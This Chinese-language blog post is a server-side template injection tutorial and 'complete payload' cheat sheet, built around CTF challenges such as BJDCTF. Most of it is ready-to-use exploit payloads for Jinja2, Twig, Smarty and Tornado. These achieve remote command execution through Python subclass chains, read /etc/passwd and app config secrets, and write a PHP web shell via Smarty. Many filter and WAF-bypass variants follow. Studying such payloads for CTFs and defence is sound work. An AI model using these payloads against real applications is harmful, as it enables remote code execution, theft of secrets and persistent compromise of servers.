ssti详解与例题以及绕过payload大全

[BJDCTF2020]Cookie is so stable

user=1231{{2*4}}

判断是不是ssti

user={{system('ls')}}

执行命令,但不能成功,,好像是空格不可以

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

这是最后的payload

https://0day.work/jinja2-template-injection-filter-bypasses/

bypass

攻防世界的题Web_python_template_injection

jinjia的语言:

控制结构 {% %}
变量取值 {{ }}
注释 {# #}
{{[].__class__.__base__.__subclasses__()}}

​ :查看所有的模块

os模块都是从warnings.catch_warnings模块入手的,在所有模块中查找catch_warnings的位置,为第59个

利用到的是func_globals.keys() :查看全局函数

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()' )

查看flag文件所在

{{"".__class__.__mro__[2].__subclasses__()[40]("fl4g").read()}}

读取文件 利用到的是object对象下的file类的read函数

[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

https://xuanxuanblingbling.github.io/ctf/web/2019/01/02/python/

基础类的执行

__class__  返回类型所属的对象(类)
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

常见的基础调用类函数执行

>>> ''.__class__.__base__.__subclasses__()
# 返回子类的列表 [,,,...]
#从中随便选一个类,查看它的__init__
>>> ''.__class__.__base__.__subclasses__()[30].__init__
<slot wrapper '__init__' of 'object' objects>
# wrapper是指这些函数并没有被重载,这时他们并不是function,不具有__globals__属性
#再换几个子类,很快就能找到一个重载过__init__的类,比如
>>> ''.__class__.__base__.__subclasses__()[5].__init__
>>> ''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
#然后用eval执行命令即可

1.获取基类

//获取基本类
```bash
{{[].__class__}}

获取所有类

''.__class__.__mro__[2].__subclasses__()

获取config对象与request对象类

{{url_for.__globals__}}
{{config}}#即查看权限
{{ config.SQLALCHEMY_DATABASE_URI }}

python

读取文件类,<type ‘file’> file位置一般为40,直接调用

[].__class__.__base__.__subclasses__()[40]('fl4g').read()

<class ‘site._Printer’> 调用os的popen执行命令

{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls /flasklight').read()
[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('cat coomme_geeeett_youur_flek').read()

如果system被过滤,用os的listdir读取目录+file模块读取文件:

().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')

<class ‘subprocess.Popen’> 位置一般为258

{{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}
{{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

<class ‘warnings.catch_warnings’>
一般位置为59,可以用它来调用file、os、eval、commands等

#调用file
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()      #把 read() 改为 write() 就是写文件
#读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()
#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')

#调用eval
[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")
#调用system方法
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
root
0
#调用commands进行命令执行
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')

python3

#读取文件与写文件类
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}
#执行命令
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

payload大全

Jinjia2模板引擎通用的RCE Payload:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('<command>').read()") }}{% endif %}{% endfor %}

python2:

[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')

python3:

''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']

smarty模板引擎:

Smarty是一个PHP的模板引擎,提供让程序逻辑与页面显示(HTML/CSS)代码分离的功能。Smarty是基于PHP开发的,对于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别。

一,漏洞确认(查看smarty的版本号):

{$smarty.version}

二,常规利用方式:(使用{php}{/php}标签来执行被包裹其中的php指令,smarty3弃用)

{php}{/php}

执行php指令,php7无法使用

<script language="php">phpinfo();</script>

三,静态方法

public function getStreamVariable($variable){ $_result = ''; $fp = fopen($variable, 'r+'); if ($fp) { while (!feof($fp) && ($current_line = fgets($fp)) !== false) { $_result .= $current_line; } fclose($fp); return $_result; } $smarty = isset($this->smarty) ? $this->smarty : $this; if ($smarty->error_unassigned) { throw new SmartyException('Undefined stream variable "' . $variable . '"'); } else { return null; } }

payload1:(if标签执行PHP命令)

{if phpinfo()}{/if}
{if system('ls')}{/if}
{if system('cat /flag')}{/if}

四,其他payload

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

twig模板引擎:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

tornado模板注入

{{handler.settings}}环境变量

waf绕过

①绕过字符与典型函数类

1.)过滤[]

#绕过方法1:__getitem__绕中括号限制
#即将mro_[2]等价于__getitem__(2)即可
''.__class__.__mro__.__getitem__(2)<-> 等价于''.__class__.__mro__[2]
    {}.__class__.__bases__.__getitem__(0)<->等价于{}.__class__.__bases__.__getitem__(0)
    ().__class__.__bases__.__getitem__(0)<->().__class__.__bases__.__getitem__(0)
    request.__class__.__mro__.__getitem__(8)<->request.__class__.__mro__.__getitem__(8)
#绕过方法2:利用pop(40)绕
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
#使用 .getlist()方法绕
blacklist = ["__","request[request.","__class__",'[',']']
{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

2.)过滤_

    blacklist = ["_"]
    #绕过方法利用request.args.<param>绕
/?exploit={{request[request.args.pa]}}&pa=**class**

3.)过滤’request[request.’

blacklist = ["__","request[request."]
#绕过方法:
request | attr(request.args.a)等价于request["a"]
#利用payload
?exploit={{request|attr(request.args.pa)}}&pa=**class**

4.)过滤_class_

blacklist = ["__","request[request.","__class__"]
#绕过方法:管道+join方法,可以进行字符串的拼接操作
["a","b","c"]|join等价于abc.
exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_
即等价于
{{__class__}}

5.)绕过"|join"

blacklist = ["__","request[request.","__class__",'[',']',"|join"]
使用管道+format方法,用格式化字符串生成被过滤的字串。
/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_

6.)绕过.方法

#若.也被过滤,使用原生jinja2函数|attr()
request.__class__<-->request|attr("__class__")

7.)绕{{

#方法:{% if ... %}1{% endif %}
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('') %}1{% endif %}
绕过 _ . '这三个:是等价的
{{"".__class__}}
{{""["\x5f\x5fclass\x5f\x5f"]}}

"\x5f"是字符 ”_“,”\x2E"是字符 “.”。

绕过 ‘__’
exploit = request.args.get('exploit')
    print exploit

    blacklist = ["_"]
    for bad_string in blacklist:
        if  bad_string in exploit:
            return "HACK ATTEMPT {}".format(bad_string), 400

除了request.__class__,还可以用request.["_class_"]这种写法,即数组+字典下标的方式。但是仅使用这个方法是不行的,因为在render的时候就已经进行了对引号的转义,并且黑名单中的字符仍然存在。

request变量可以访问所有我们提交上去的变量,可以使用request.args.<param>的语法,再传入一个来构造变量。

这样就获得了一个绕过的方法:

  • EXP:/?exploit={{request[request.args.pa]}}&pa=**class**
绕过’[’ 和 ‘]’
blacklist = ["__","request[request.","__class__",'[',']']

可以使用元组('a','b','c')的方式给join传递参数,这样既可绕过方括号。只要把上一个EXP的方括号替换成圆括号即可,不过还有一个更优雅的方案。

使用 .getlist()方法得到一个列表,这个列表的参数可以在后面传递,具体示例请看EXP

EXP:/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

②过滤关键字类

绕过滤config、request以及class

1.)拼接绕

{{ session['__cla'+'ss__'] }}<-->{{session['__class__']}}

2.)利用__enter__方法绕(python3中)

{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[256]

绕组合

1.)绕’ “” _
利用request.args.x绕__过滤 利用request.args.x绕""

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/pass
?x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__
&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('cat+/flag').read() HTTP/1.1
X-Forwarded-For:{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(174)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}

2.)同时绕下划线、与中括号

#同时
{{()|attr(request.values.name1)|attr(request.values.name2)|attr(request.values.name3)()|attr(request.values.name4)(40)('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')|attr(request.values.name5)()}}
post:
name1=__class__&name2=__base__&name3=__subclasses__&name4=pop&name5=read

当有的字符串被 waf 的时候可以通过编码或者字符串拼接绕过

base64:

().__class__.__bases__[0].__subclasses__()[40]('r','ZmxhZy50eHQ='.decode('base64')).read()
相当于:
().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt').read()

字符串拼接:

+号绕过

().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt').read()
相当于
().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt').read()

[::-1]取反绕过

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

reload方法:

del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement
 
del __builtins__.__dict__['eval'] # evaluating code could be dangerous
del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file
del __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous

当没有过滤reload函数时,我们可以重载builtins

reload(__builtins__)

当不能通过[].class.base.subclasses([60].init.func_globals[‘linecache’].dict.values()[12]直接加载 os 模块

这时候可以使用getattribute+ 字符串拼接 / base64 绕过 例如:

[].__class__.__base__.__subclasses__()[60].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__.values()[12]

等价于:

[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12]
三.特殊读取文件姿势
{{url_for.__globals__['current_app'].config.FLAG}}

{{get_flashed_messages.__globals__['current_app'].config.FLAG}}

{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
#利用self姿势
{{self}}<TemplateReference None>
{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config
{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}
Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐